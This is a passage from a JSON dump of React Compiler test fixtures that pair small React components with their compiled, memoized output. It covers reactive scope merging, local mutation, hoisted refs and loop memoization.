useHook,\n} from \"shared-runtime\";\n\n/**\n * value and `mutateAndReturn(value)` should end up in the same reactive scope.\n * (1) `value = makeObject` and `(temporary) = mutateAndReturn(value)` should be assigned\n * the same scope id (on their identifiers)\n * (2) alignScopesToBlockScopes should expand the scopes of both `(temporary) = identity(1)`\n * and `(temporary) = mutateAndReturn(value)` to the outermost value block boundaries\n * (3) mergeOverlappingScopes should merge the scopes of the above two instructions\n */\nfunction Component(t0) {\n  const value = makeObject_Primitives();\n  useHook();\n  const mutatedValue =\n    identity(1) && CONST_TRUE ? mutateAndReturn(value) : null;\n  const result = [];\n  useHook();\n  result.push(value, mutatedValue);\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"},\"[[ cyclic ref *1 ]]\"]\n[{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"},\"[[ cyclic ref *1 ]]\"]\n[{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"},\"[[ cyclic ref *1 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.ts",
    "content": "import {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  mutateAndReturn,\n  useHook,\n} from 'shared-runtime';\n\n/**\n * value and `mutateAndReturn(value)` should end up in the same reactive scope.\n * (1) `value = makeObject` and `(temporary) = mutateAndReturn(value)` should be assigned\n * the same scope id (on their identifiers)\n * (2) alignScopesToBlockScopes should expand the scopes of both `(temporary) = identity(1)`\n * and `(temporary) = mutateAndReturn(value)` to the outermost value block boundaries\n * (3) mergeOverlappingScopes should merge the scopes of the above two instructions\n */\nfunction Component({}) {\n  const value = makeObject_Primitives();\n  useHook();\n  const mutatedValue =\n    identity(1) && CONST_TRUE ? mutateAndReturn(value) : null;\n  const result = [];\n  useHook();\n  result.push(value, mutatedValue);\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const {a} = props;\n  const {b, ...rest} = a;\n  // Local mutation of `rest` is allowed since it is a newly allocated object\n  rest.value = props.value;\n  return <Stringify rest={rest} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: 0, other: 'other'}, value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  const { a } = props;\n  let rest;\n  if ($[0] !== a || $[1] !== props.value) {\n    const { b, ...t0 } = a;\n    rest = t0;\n\n    rest.value = props.value;\n    $[0] = a;\n    $[1] = props.value;\n    $[2] = rest;\n  } else {\n    rest = $[2];\n  }\n  let t0;\n  if ($[3] !== rest) {\n    t0 = <Stringify rest={rest} />;\n    $[3] = rest;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { b: 0, other: \"other\" }, value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"rest\":{\"other\":\"other\",\"value\":42}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const {a} = props;\n  const {b, ...rest} = a;\n  // Local mutation of `rest` is allowed since it is a newly allocated object\n  rest.value = props.value;\n  return <Stringify rest={rest} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: 0, other: 'other'}, value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nfunction Component(props) {\n  const x = [props.value];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        return <span key={item}>{item}</span>;\n      })}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(10);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = [props.value];\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [];\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  useEffect(_temp, t1);\n  let t2;\n  if ($[3] !== x.length) {\n    t2 = () => {\n      console.log(x.length);\n    };\n    $[3] = x.length;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const onClick = t2;\n  let t3;\n  if ($[5] !== x) {\n    t3 = x.map(_temp2);\n    $[5] = x;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  let t4;\n  if ($[7] !== onClick || $[8] !== t3) {\n    t4 = <div onClick={onClick}>{t3}</div>;\n    $[7] = onClick;\n    $[8] = t3;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  return t4;\n}\nfunction _temp2(item) {\n  return <span key={item}>{item}</span>;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><span>42</span></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.js",
    "content": "import {useEffect, useState} from 'react';\n\nfunction Component(props) {\n  const x = [props.value];\n  useEffect(() => {}, []);\n  const onClick = () => {\n    console.log(x.length);\n  };\n  return (\n    <div onClick={onClick}>\n      {x.map(item => {\n        return <span key={item}>{item}</span>;\n      })}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(nodeID, condition) {\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  for (const key of Object.keys(node?.fields ?? {})) {\n    if (condition) {\n      return new Class(node.fields?.[field]);\n    }\n  }\n  return new Class();\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useHook(nodeID, condition) {\n  const $ = _c(7);\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n  let t0;\n  if ($[0] !== node?.fields) {\n    t0 = Object.keys(node?.fields ?? {});\n    $[0] = node?.fields;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: for (const key of t0) {\n      if (condition) {\n        t1 = new Class(node.fields?.[field]);\n        break bb0;\n      }\n    }\n    $[2] = condition;\n    $[3] = node;\n    $[4] = t0;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  let t2;\n  if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = new Class();\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.js",
    "content": "function useHook(nodeID, condition) {\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  for (const key of Object.keys(node?.fields ?? {})) {\n    if (condition) {\n      return new Class(node.fields?.[field]);\n    }\n  }\n  return new Class();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.expect.md",
    "content": "\n## Input\n\n```javascript\nconst someGlobal = true;\nexport default function Component(props) {\n  const {b} = props;\n  const items = [];\n  let i = 0;\n  while (i < 10) {\n    if (someGlobal) {\n      items.push(<div key={i}>{b}</div>);\n      i++;\n    }\n  }\n  return <>{items}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{b: 42}],\n  sequentialRenders: [\n    {b: 0},\n    {b: 0},\n    {b: 42},\n    {b: 42},\n    {b: 0},\n    {b: 42},\n    {b: 0},\n    {b: 42},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst someGlobal = true;\nexport default function Component(props) {\n  const $ = _c(2);\n  const { b } = props;\n  let t0;\n  if ($[0] !== b) {\n    const items = [];\n    let i = 0;\n    while (i < 10) {\n      if (someGlobal) {\n        items.push(<div key={i}>{b}</div>);\n        i++;\n      }\n    }\n    t0 = <>{items}</>;\n    $[0] = b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ b: 42 }],\n  sequentialRenders: [\n    { b: 0 },\n    { b: 0 },\n    { b: 42 },\n    { b: 42 },\n    { b: 0 },\n    { b: 42 },\n    { b: 0 },\n    { b: 42 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div>\n<div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div>\n<div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div>\n<div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div>\n<div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div>\n<div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div>\n<div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div><div>0</div>\n<div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div><div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.js",
    "content": "const someGlobal = true;\nexport default function Component(props) {\n  const {b} = props;\n  const items = [];\n  let i = 0;\n  while (i < 10) {\n    if (someGlobal) {\n      items.push(<div key={i}>{b}</div>);\n      i++;\n    }\n  }\n  return <>{items}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{b: 42}],\n  sequentialRenders: [\n    {b: 0},\n    {b: 0},\n    {b: 42},\n    {b: 42},\n    {b: 0},\n    {b: 42},\n    {b: 0},\n    {b: 42},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {useFragment} from 'shared-runtime';\n\nfunction Component() {\n  const data = useFragment();\n  const nodes = data.nodes ?? [];\n  const flatMap = nodes.flatMap(node => node.items);\n  const filtered = flatMap.filter(item => item != null);\n  const map = useMemo(() => filtered.map(), [filtered]);\n  const index = filtered.findIndex(x => x === null);\n\n  return (\n    <div>\n      {map}\n      {index}\n    </div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { useFragment } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(7);\n  const data = useFragment();\n  let t0;\n  if ($[0] !== data.nodes) {\n    const nodes = data.nodes ?? [];\n    const flatMap = nodes.flatMap(_temp);\n    t0 = flatMap.filter(_temp2);\n    $[0] = data.nodes;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const filtered = t0;\n  let t1;\n  if ($[2] !== filtered) {\n    t1 = filtered.map();\n    $[2] = filtered;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const map = t1;\n  const index = filtered.findIndex(_temp3);\n  let t2;\n  if ($[4] !== index || $[5] !== map) {\n    t2 = (\n      <div>\n        {map}\n        {index}\n      </div>\n    );\n    $[4] = index;\n    $[5] = map;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\nfunction _temp3(x) {\n  return x === null;\n}\nfunction _temp2(item) {\n  return item != null;\n}\nfunction _temp(node) {\n  return node.items;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.js",
    "content": "// @flow @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {useFragment} from 'shared-runtime';\n\nfunction Component() {\n  const data = useFragment();\n  const nodes = data.nodes ?? [];\n  const flatMap = nodes.flatMap(node => node.items);\n  const filtered = flatMap.filter(item => item != null);\n  const map = useMemo(() => filtered.map(), [filtered]);\n  const index = filtered.findIndex(x => x === null);\n\n  return (\n    <div>\n      {map}\n      {index}\n    </div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let v3, v4, acc;\n  v3 = false;\n  v4 = v3;\n  acc = v3;\n  if (acc) {\n    acc = true;\n    v3 = acc;\n  }\n  if (acc) {\n    v3 = v4;\n  }\n  v4 = v3;\n  return [acc, v3, v4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [false, false, false];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [false,false,false]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.js",
    "content": "function Component() {\n  let v3, v4, acc;\n  v3 = false;\n  v4 = v3;\n  acc = v3;\n  if (acc) {\n    acc = true;\n    v3 = acc;\n  }\n  if (acc) {\n    v3 = v4;\n  }\n  v4 = v3;\n  return [acc, v3, v4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\nfunction Component(props) {\n  const items = props.items ? props.items.slice() : [];\n  const [state] = useState('');\n  return props.cond ? (\n    <div>{state}</div>\n  ) : (\n    <div>\n      {items.map(item => (\n        <div key={item.id}>{item.name}</div>\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, items: [{id: 0, name: 'Alice'}]}],\n  sequentialRenders: [\n    {cond: false, items: [{id: 0, name: 'Alice'}]},\n    {\n      cond: false,\n      items: [\n        {id: 0, name: 'Alice'},\n        {id: 1, name: 'Bob'},\n      ],\n    },\n    {\n      cond: true,\n      items: [\n        {id: 0, name: 'Alice'},\n        {id: 1, name: 'Bob'},\n      ],\n    },\n    {\n      cond: false,\n      items: [\n        {id: 1, name: 'Bob'},\n        {id: 2, name: 'Claire'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useState } from \"react\";\n\nfunction Component(props) {\n  const items = props.items ? props.items.slice() : [];\n  const [state] = useState(\"\");\n  return props.cond ? <div>{state}</div> : <div>{items.map(_temp)}</div>;\n}\nfunction _temp(item) {\n  return <div key={item.id}>{item.name}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, items: [{ id: 0, name: \"Alice\" }] }],\n  sequentialRenders: [\n    { cond: false, items: [{ id: 0, name: \"Alice\" }] },\n    {\n      cond: false,\n      items: [\n        { id: 0, name: \"Alice\" },\n        { id: 1, name: \"Bob\" },\n      ],\n    },\n    {\n      cond: true,\n      items: [\n        { id: 0, name: \"Alice\" },\n        { id: 1, name: \"Bob\" },\n      ],\n    },\n    {\n      cond: false,\n      items: [\n        { id: 1, name: \"Bob\" },\n        { id: 2, name: \"Claire\" },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>Alice</div></div>\n<div><div>Alice</div><div>Bob</div></div>\n<div></div>\n<div><div>Bob</div><div>Claire</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.js",
    "content": "import {useState} from 'react';\n\nfunction Component(props) {\n  const items = props.items ? props.items.slice() : [];\n  const [state] = useState('');\n  return props.cond ? (\n    <div>{state}</div>\n  ) : (\n    <div>\n      {items.map(item => (\n        <div key={item.id}>{item.name}</div>\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, items: [{id: 0, name: 'Alice'}]}],\n  sequentialRenders: [\n    {cond: false, items: [{id: 0, name: 'Alice'}]},\n    {\n      cond: false,\n      items: [\n        {id: 0, name: 'Alice'},\n        {id: 1, name: 'Bob'},\n      ],\n    },\n    {\n      cond: true,\n      items: [\n        {id: 0, name: 'Alice'},\n        {id: 1, name: 'Bob'},\n      ],\n    },\n    {\n      cond: false,\n      items: [\n        {id: 1, name: 'Bob'},\n        {id: 2, name: 'Claire'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\ncomponent Example() {\n  const fooRef = useRef();\n\n  function updateStyles() {\n    const foo = fooRef.current;\n    // The access of `barRef` here before its declaration causes it be hoisted...\n    if (barRef.current == null || foo == null) {\n      return;\n    }\n    foo.style.height = '100px';\n  }\n\n  // ...which previously meant that we didn't infer a type...\n  const barRef = useRef(null);\n\n  const resizeRef = useResizeObserver(\n    rect => {\n      const {width} = rect;\n      // ...which meant that we failed to ignore the mutation here...\n      barRef.current = width;\n    } // ...which caused this to fail with \"can't freeze a mutable function\"\n  );\n\n  useLayoutEffect(() => {\n    const observer = new ResizeObserver(_ => {\n      updateStyles();\n    });\n\n    return () => {\n      observer.disconnect();\n    };\n  }, []);\n\n  return <div ref={resizeRef} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Example() {\n  const $ = _c(6);\n  const fooRef = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = function updateStyles() {\n      const foo = fooRef.current;\n\n      if (barRef.current == null || foo == null) {\n        return;\n      }\n\n      foo.style.height = \"100px\";\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const updateStyles = t0;\n\n  const barRef = useRef(null);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (rect) => {\n      const { width } = rect;\n\n      barRef.current = width;\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const resizeRef = useResizeObserver(t1);\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      const observer = new ResizeObserver((_) => {\n        updateStyles();\n      });\n      return () => {\n        observer.disconnect();\n      };\n    };\n    t3 = [];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useLayoutEffect(t2, t3);\n  let t4;\n  if ($[4] !== resizeRef) {\n    t4 = <div ref={resizeRef} />;\n    $[4] = resizeRef;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  return t4;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.js",
    "content": "// @flow\ncomponent Example() {\n  const fooRef = useRef();\n\n  function updateStyles() {\n    const foo = fooRef.current;\n    // The access of `barRef` here before its declaration causes it be hoisted...\n    if (barRef.current == null || foo == null) {\n      return;\n    }\n    foo.style.height = '100px';\n  }\n\n  // ...which previously meant that we didn't infer a type...\n  const barRef = useRef(null);\n\n  const resizeRef = useResizeObserver(\n    rect => {\n      const {width} = rect;\n      // ...which meant that we failed to ignore the mutation here...\n      barRef.current = width;\n    } // ...which caused this to fail with \"can't freeze a mutable function\"\n  );\n\n  useLayoutEffect(() => {\n    const observer = new ResizeObserver(_ => {\n      updateStyles();\n    });\n\n    return () => {\n      observer.disconnect();\n    };\n  }, []);\n\n  return <div ref={resizeRef} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const object = props.object;\n  const f = () => {\n    // The argument maybe-aliases into the return\n    const obj = identity(object);\n    obj.property = props.value;\n    return obj;\n  };\n  const obj = f();\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: makeObject_Primitives(), value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Example(props) {\n  const $ = _c(5);\n  const object = props.object;\n  let t0;\n  if ($[0] !== object || $[1] !== props.value) {\n    const f = () => {\n      const obj = identity(object);\n      obj.property = props.value;\n      return obj;\n    };\n    t0 = f();\n    $[0] = object;\n    $[1] = props.value;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const obj_0 = t0;\n  let t1;\n  if ($[3] !== obj_0) {\n    t1 = <Stringify obj={obj_0} />;\n    $[3] = obj_0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{ object: makeObject_Primitives(), value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"obj\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"property\":42}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.js",
    "content": "import {identity, makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const object = props.object;\n  const f = () => {\n    // The argument maybe-aliases into the return\n    const obj = identity(object);\n    obj.property = props.value;\n    return obj;\n  };\n  const obj = f();\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: makeObject_Primitives(), value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const object = props.object;\n  const f = () => {\n    // The receiver maybe-aliases into the return\n    const obj = object.makeObject();\n    obj.property = props.value;\n    return obj;\n  };\n  const obj = f();\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Example(props) {\n  const $ = _c(5);\n  const object = props.object;\n  let t0;\n  if ($[0] !== object || $[1] !== props.value) {\n    const f = () => {\n      const obj = object.makeObject();\n      obj.property = props.value;\n      return obj;\n    };\n    t0 = f();\n    $[0] = object;\n    $[1] = props.value;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const obj_0 = t0;\n  let t1;\n  if ($[3] !== obj_0) {\n    t1 = <Stringify obj={obj_0} />;\n    $[3] = obj_0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{ object: { makeObject: makeObject_Primitives }, value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"obj\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"property\":42}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.js",
    "content": "import {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const object = props.object;\n  const f = () => {\n    // The receiver maybe-aliases into the return\n    const obj = object.makeObject();\n    obj.property = props.value;\n    return obj;\n  };\n  const obj = f();\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const obj = props.object.makeObject();\n  obj.property = props.value;\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Example(props) {\n  const $ = _c(5);\n  let obj;\n  if ($[0] !== props.object || $[1] !== props.value) {\n    obj = props.object.makeObject();\n    obj.property = props.value;\n    $[0] = props.object;\n    $[1] = props.value;\n    $[2] = obj;\n  } else {\n    obj = $[2];\n  }\n  let t0;\n  if ($[3] !== obj) {\n    t0 = <Stringify obj={obj} />;\n    $[3] = obj;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{ object: { makeObject: makeObject_Primitives }, value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"obj\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"property\":42}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.js",
    "content": "import {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Example(props) {\n  const obj = props.object.makeObject();\n  obj.property = props.value;\n  return <Stringify obj={obj} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Example,\n  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.expect.md",
